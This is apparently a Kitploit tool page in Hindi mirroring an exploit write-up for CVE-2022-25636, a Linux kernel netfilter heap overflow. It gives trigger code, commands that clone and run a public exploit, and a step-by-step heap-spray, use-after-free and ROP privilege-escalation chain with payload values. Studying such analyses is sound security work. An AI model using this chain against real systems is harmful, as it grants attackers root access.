Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2022-25636 — CVE-2022-25636 के लिए विस्तृत तकनीकी विश्लेषण और एक्सप्लॉइट राइट-अप — यह Linux कर्नेल की netfilter हीप ओवरफ्लो भेद्यता है, जो heap spraying और UAF के माध्यम से लोकल प्रिविलेज एस्केलेशन सक्षम करती है। | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2022-25636
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषण
GitHubchenaotian/cve-2022-25636

CVE-2022-25636

CVE-2022-25636 के लिए विस्तृत तकनीकी विश्लेषण और एक्सप्लॉइट राइट-अप — यह Linux कर्नेल की netfilter हीप ओवरफ्लो भेद्यता है, जो heap spraying और UAF के माध्यम से लोकल प्रिविलेज एस्केलेशन सक्षम करती है।

रिपॉजिटरी देखें
3224 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2022-25636 नेटफ़िल्टर कर्नेल विशेषाधिकार उन्नति

[toc]

भेद्यता परिचय

भेद्यता संख्या: CVE-2022-25636

भेद्यता उत्पाद: linux kernel - netfilter

प्रभावित संस्करण: linux kernel 5.4 ~

भेद्यता खतरा: netfilter कर्नेल मॉड्यूल में हीप ओवरफ्लो लेखन मौजूद है, SYS_ADMIN होने पर विशेषाधिकार उन्नति संभव है।

वातावरण सेटअप

भेद्यता netfilter कर्नेल मॉड्यूल में मौजूद है, भेद्यता कोड तीन ko फ़ाइलों में है।

root@kitploit:~
nft_dup_netdev.ko  
nf_dup_netdev.ko 
nf_tables.ko 

सीधे qemu से शुरू करने पर समस्या है, ko लोड नहीं होते, vmware पर दो-मशीन संयुक्त डिबगिंग का उपयोग करें।

ubuntu 21.10 पर मैन्युअल रूप से कर्नेल बदला जा सकता है:

root@kitploit:~
apt-get install linux-image-5.13.0-30-generic

फिर मूल कर्नेल हटाएँ, exp संकलित करें:

root@kitploit:~
git clone https://github.com/Bonfee/CVE-2022-25636.git
apt-get install libmnl-dev
apt-get install libfuse-dev
apt-get install libnftnl-dev
make
./exploit

विशेषाधिकार उन्नति प्रभाव (सफलता दर 50% से कम):

image-20220318151010142

भेद्यता सिद्धांत

भेद्यता घटना स्थल

भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload में है:

linux\net\netfilter\nf_dup_netdev.c : 67 : nft_fwd_dup_netdev_offload

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	struct flow_action_entry *entry;
	struct net_device *dev;

	/* nft_flow_rule_destroy() releases the reference on this device. */
	dev = dev_get_by_index(ctx->net, oif);
	if (!dev)
		return -EOPNOTSUPP;

	entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
	entry->id = id;
	entry->dev = dev;

	return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);

flow->rule->action.entries (यह संरचना चर लंबाई की है) सेट करते समय हीप सीमा की जाँच नहीं की जाती है, जिससे एक पूर्णांक (4 या 5) और एक पॉइंटर बाहर लिखा जाता है।

कॉल स्टैक

फ़ंक्शन का उपयोग nft_flow_rule_create फ़ंक्शन में होता है:

linux\net\netfilter\nf_tables_offload.c : 90 : nft_flow_rule_create

root@kitploit:~
struct nft_flow_rule *nft_flow_rule_create(struct net *net,
					   const struct nft_rule *rule)
{
	struct nft_offload_ctx *ctx;
	struct nft_flow_rule *flow;
	int num_actions = 0, err;
	struct nft_expr *expr;

	expr = nft_expr_first(rule);
	while (nft_expr_more(rule, expr)) {//दिए गए rule की संख्या के अनुसार num_actions की गणना करता है
		if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
			num_actions++;// केवल NFT_OFFLOAD_F_ACTION चिह्नित को गिनता है

		expr = nft_expr_next(expr);
	}

	if (num_actions == 0)
		return ERR_PTR(-EOPNOTSUPP);

	flow = nft_flow_rule_alloc(num_actions);// num_actions संख्या के अनुसार स्थान आवंटित करता है (चर लंबाई संरचना)
	if (!flow)
		return ERR_PTR(-ENOMEM);

	expr = nft_expr_first(rule);
	//ctx->num_actions 0 में आरंभ किया गया ↓
	ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL);
	if (!ctx) {
		err = -ENOMEM;
		goto err_out;
	}
	ctx->net = net;
	ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;

	while (nft_expr_more(rule, expr)) {
		if (!expr->ops->offload) {// rule संख्या के अनुसार offload को कॉल करता है
			err = -EOPNOTSUPP;
			goto err_out;
		}
		err = expr->ops->offload(ctx, flow, expr);// भेद्यता फ़ंक्शन को कॉल करता है
		if (err < 0)
			goto err_out;

		expr = nft_expr_next(expr);
	}
	··· ···
    ··· ···
}

देखा जा सकता है कि nft_flow_rule_create फ़ंक्शन उपयोगकर्ता स्थान से दिए गए rule संरचना की संख्या के अनुसार flow संरचना आवंटित करता है और प्रक्रिया करता है। num_actions चर का उपयोग गणना के लिए किया जाता है, लेकिन गणना के दौरान केवल NFT_OFFLOAD_F_ACTION ध्वज चिह्नित rule की गणना की जाती है, और उस संख्या के अनुसार संबंधित आकार की संरचना आवंटित की जाती है। बाद में offload प्रक्रिया करते समय, num_actions का उपयोग लूप के लिए नहीं किया जाता है। बल्कि पहले की तरह rule संख्या की बार लूप चलाया जाता है, लेकिन यहाँ NFT_OFFLOAD_F_ACTION ध्वज की जाँच नहीं की जाती है। अर्थात, जब दिए गए rule में ऐसे rule होते हैं जिनमें NFT_OFFLOAD_F_ACTION ध्वज नहीं है, तो बाद में offload कॉल की संख्या पहले आवंटित flow->rule->action.entries संख्या से अधिक होती है। offload में भेद्यता फ़ंक्शन nft_fwd_dup_netdev_offload को कॉल किया जाता है, प्रत्येक कॉल में एक बढ़ता है, और 0 से आरंभ होता है, अंततः सरणी की सीमा से अधिक हो जाता है, जिससे बाहर लिखना होता है।

कुछ संरचनाएँ:

root@kitploit:~
struct nft_flow_rule {
	__be16			proto;
	struct nft_flow_match	match;
	struct flow_rule	*rule;
};

struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* उपयोगकर्ता परिभाषित कार्रवाई कुकी */
};

struct nft_offload_ctx {
	struct {
		enum nft_offload_dep_type	type;
		__be16				l3num;
		u8				protonum;
	} dep;
	unsigned int				num_actions;
	struct net				*net;
	struct nft_offload_reg			regs[NFT_REG32_15 + 1];
};

कॉल स्टैक:

  • nft_flow_rule_create
    • nft_dup_netdev_offload/nft_fwd_netdev_offload
      • nft_fwd_dup_netdev_offload

netfilter का उपयोग और ट्रिगर

संदर्भ लिंक: https://www.openwall.com/lists/oss-security/2022/02/21/2

यह ईमेल बताता है कि C भाषा के libmnl और libnftnl पुस्तकालयों का उपयोग करके netfilter का उपयोग कैसे करें। भेद्यता ट्रिगर करने का मुख्य बिंदु यह है कि जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज है या नहीं। केवल nftnl_expr_alloc("immediate"); से जोड़े गए rule में NFT_OFFLOAD_F_ACTION ध्वज होता है:

root@kitploit:~
for(int i = 0; i < legit_writes; i++) {//इस प्रकार expr जोड़ने पर बाहर नहीं जाएगा
    exprs[exprid] = nftnl_expr_alloc("immediate");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}
//इस प्रकार expr जोड़ने पर बाहर जाएगा
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
    exprs[exprid] = nftnl_expr_alloc("dup");
    nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
    nftnl_rule_add_expr(rule, exprs[exprid]);
    exprid++;
}

भेद्यता शोषण

भेद्यता शोषण बहुत स्थिर नहीं है, लेकिन शोषण तकनीक बहुत उत्कृष्ट है। भेद्यता एक निश्चित ऑफ़सेट पर एक अनियंत्रित पॉइंटर लिखती है। व्यक्तिगत रूप से मानता हूँ कि शोषण की कठिनाई बहुत अधिक है। तकनीकी विधियों का संक्षेप में विश्लेषण करते हैं। भेद्यता कोड के अनुसार, प्रत्येक बार बाहर लिखने पर केवल एक पूर्णांक (id, स्थिर 4 या 5) और एक पॉइंटर (*dev) लिखा जाता है, जहाँ पॉइंटर struct net_device संरचना की ओर इंगित करता है। हम यहाँ केवल dev पॉइंटर पर ध्यान केंद्रित करते हैं:

root@kitploit:~
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
			       struct nft_flow_rule *flow,
			       enum flow_action_id id, int oif)
{
	··· ···
	entry = &flow->rule->action.entries[ctx->num_actions++];//बाहर जाना
	entry->id = id;
	entry->dev = dev; //निश्चित ऑफ़सेट पर एक हीप पता लिखता है, dev struct net_device संरचना है
	··· ···
}

struct flow_rule संरचना के बारे में, चूंकि यह एक चर लंबाई संरचना है, इसलिए यह जितनी सीमा तक आवंटित हो सकता है, वह शोषण की संभावना को प्रभावित करता है (सफलता):

  • जब केवल एक rule दिया जाता है, तो संरचना का आकार 0x70 होता है, जो kmalloc-128 (0x80) में आता है। यदि बाहर लिखना होता है, तो dev पॉइंटर 0x88 स्थान पर लिखा जाएगा, अर्थात 0x8 पर बाहर।
  • यदि दो rule दिए जाते हैं, तो संरचना का आकार 0xC0 होता है, जो kmalloc-192 (0xC0) में आता है। यदि बाहर लिखना होता है, तो dev पॉइंटर 0xD8 स्थान पर लिखा जाएगा, अर्थात 0x18 पर बाहर। दो बार बाहर लिखने पर 0x18 + 0x50 पर...

संबंधित संरचनाएँ:

root@kitploit:~
struct flow_rule {
	struct flow_match	match;
	struct flow_action	action;
};

struct flow_match {
	struct flow_dissector	*dissector;
	void			*mask;
	void			*key;
};

struct flow_dissector {
	unsigned int used_keys; /* प्रत्येक बिट एक कुंजी आईडी की उपस्थिति दर्शाता है */
	unsigned short int offset[FLOW_DISSECTOR_KEY_MAX];
};

struct flow_action {
	unsigned int			num_entries;
	struct flow_action_entry	entries[];
};

struct flow_action_entry {//आकार 0x50
	enum flow_action_id		id;
	enum flow_action_hw_stats	hw_stats;
	action_destr			destructor;
	void				*destructor_priv;
	union {
		u32			chain_index;	/* FLOW_ACTION_GOTO */
		struct net_device	*dev;		/* FLOW_ACTION_REDIRECT */
		··· ···
	};
	struct flow_action_cookie *cookie; /* उपयोगकर्ता परिभाषित कार्रवाई कुकी */
};

कर्नेल net_device संरचना पता लीक करना

शोषण में प्रवेश करने के लिए, पहले दो बार *dev पता लीक करना होता है। चूंकि दो अलग-अलग dev पतों को लीक करना है, इसलिए एक इस प्रक्रिया में और दूसरा उप-प्रक्रिया में लीक किया जाता है। msg_msg का उपयोग करके लीक किया जाता है (msg_msg तकनीक समीक्षा)। आकार 0x1040 के msg को हीप स्प्रे किया जाता है, जिससे msg की संरचना के कारण यह दो खंडों में विभाजित हो जाता है। दूसरे खंड की लंबाई 0x70 होती है, और हेडर पॉइंटर के साथ, kmalloc-128 आवंटित होता है। फिर एक msg मुक्त किया जाता है, एक kmalloc-128 मुक्त होता है। इसके बाद केवल एक rule वाली flow_rule संरचना का उपयोग किया जाता है, जो भी kmalloc-128 है, उम्मीद है कि यह अभी मुक्त किए गए msg के दूसरे खंड kmalloc-128 को प्राप्त कर लेगा, जिससे निम्नलिखित हीप संरचना बनेगी:

image-20220320175028938

जब flow_rule मुक्त किए गए msg_msgseg संरचना को प्राप्त करता है, तो संभवतः यह अन्य हीप स्प्रे किए गए msg_msgseg के पास होता है। इस तरह एक बार बाहर लिखने पर, 0x8 के ऑफ़सेट पर एक net_device हीप पॉइंटर (dev पॉइंटर) लिखा जाएगा। बस हीप स्प्रे किए गए सभी संदेशों को एक बार में प्राप्त करने पर, यह हीप पॉइंटर पढ़ा जा सकता है, जिससे पता लीक पूरा होता है, और दुर्घटना नहीं होती।

kaslr लीक करने के लिए setxattr द्वारा UAF

अब kaslr लीक करते हैं, कर्नेल आधार पता प्राप्त करते हैं। उसी विधि का उपयोग करते हुए, msg_msg + हीप स्प्रे का उपयोग करें, kmalloc-192 के बहुत सारे msg स्प्रे करें। इस बार msg_msg के पहले खंड को हीप स्प्रे लक्ष्य के रूप में उपयोग करें। फिर पिछली विधि के समान, एक मुक्त करें, फिर flow_rule आवंटित करें, और निम्नलिखित हीप संरचना बनाने का प्रयास करें:

image-20220320184800730

इस बार दो rule वाली flow_rule संरचना का उपयोग करते हैं, आकार 0xC0, जो kmalloc-192 में आता है। यदि 6 बार बाहर लिखते हैं, तो 0x18+0x50*5 के ऑफ़सेट पर एक *dev पॉइंटर लिखा जाएगा, जो नीचे तीसरे kmalloc-192 के ऑफ़सेट 0x28 पर है। यदि यह msg_msg संरचना है, तो यह security पॉइंटर होगा। इस समय यदि msgrcv फ़ंक्शन का उपयोग करके इस msg_msg संरचना को मुक्त किया जाता है, तो वह kfree को कॉल करेगा और security पॉइंटर द्वारा इंगित सामग्री को मुक्त करेगा। यह msg_msg->security का मनमाना पता मुक्त करने वाला प्रिमिटिव है। संबंधित कोड:

root@kitploit:~
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
	       long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{		
    ··· ···
    ··· ···
	free_msg(msg); 			
	··· ···
}

void free_msg(struct msg_msg *msg)
{
	··· ···
	security_msg_msg_free(msg);
	··· ···
}

void security_msg_msg_free(struct msg_msg *msg)
{
	call_void_hook(msg_msg_free_security, msg);
	kfree(msg->security);
	msg->security = NULL;
}

इस प्रकार, अभी हीप स्प्रे किए गए संदेशों पर प्राप्त ऑपरेशन करने पर, हमारे द्वारा अधिलेखित security का dev पॉइंटर मुक्त हो जाएगा, अर्थात net_device संरचना मुक्त हो जाएगी। इसके बाद setxattr+userfaulted का उपयोग करके उस हीप ब्लॉक को संशोधित करने का प्रयास करें, जिससे UAF पूरा हो। setxattr किसी भी आकार का कर्नेल हीप आवंटित कर सकता है और उसमें कोई भी सामग्री लिख सकता है, फिर मुक्त कर सकता है। यह कर्नेल भेद्यता शोषण का सामान्य तरीका है।

चूंकि अब कर्नेल में मुक्त kmalloc-192 बहुत सारे हैं, केवल एक बार setxattr का उपयोग करना पर्याप्त नहीं होगा। इसलिए बहु-थ्रेडिंग का उपयोग करके एक साथ setxattr कॉल किया जाता है, और userfaulted का उपयोग करके कॉल समय बढ़ाया जाता है, हीप ब्लॉक अधिग्रहण समय बढ़ाया जाता है, अधिक कर्नेल हीप आवंटित करने का प्रयास करते हैं, और अंत में अभी मुक्त किए गए net_device संरचना को प्राप्त करने का प्रयास करते हैं। प्राप्त करने पर net_device संरचना की सामग्री को संशोधित किया जा सकता है, इसमें dev_addr पॉइंटर को netdev_ops पॉइंटर में बदलें, क्योंकि netdev_ops को loopback_ops में आरंभ किया जाता है, और फिर कुछ नाम जैसे कि जाँचने के लिए बदलें कि संशोधन सफल हुआ या नहीं:

root@kitploit:~
    ((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
    ((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
    ((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
    ((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex

इसके बाद बस socket के ioctl के SIOCGIFHWADDR फ़ंक्शन का उपयोग करके भौतिक पता पढ़ें, जिससे loopback_ops का पता मिल जाएगा। net_device के कुछ उपयोगी सदस्य:

root@kitploit:~
struct net_device {
	char			name[IFNAMSIZ]; // संशोधित करें कि क्या नाम सही है
	··· ···
	const struct net_device_ops *netdev_ops;// आरंभिक, कर्नेल पता लीक करने के लिए
	int			ifindex;   
	·· ···
	const struct  ethtool_ops *ethtool_ops; // rip हाईजैक करने के लिए
	··· ···
	unsigned char		addr_len; // पता लंबाई पढ़ने के लिए
	··· ···
	unsigned char		*dev_addr; // संशोधित करने के लिए, SIOCGIFHWADDR द्वारा पढ़ा जाता है
};

दूसरा UAF: कर्नेल ROP पूरा करना

उसी विधि से setxattr+userfaulted द्वारा UAF पूरा करें। इस बार हमारे पास कर्नेल पता है, बस net_device के ethtool_ops को संशोधित करके eip हाईजैक करें, फिर socket के ioctl के SIOCETHTOOL फ़ंक्शन का उपयोग करें, जो ethtool_ops में फ़ंक्शन को कॉल करेगा, फिर ROP करें। ubuntu21.10 कर्नेल संस्करण 13.0-30 पर सफलतापूर्वक पुनरुत्पादित:

exp:https://github.com/Bonfee/CVE-2022-25636

image-20220318151010142

संदर्भ

ईमेल: https://www.openwall.com/lists/oss-security/2022/02/21/2

लेखक का दस्तावेज़: https://nickgregory.me/linux/security/2022/03/12/cve-2022-25636/

exp: https://github.com/Bonfee/CVE-2022-25636

टूल डाउनलोड करें
ctx->num_actions
ctx->num_actions
ctx->num_actions
flow->rule->action.entries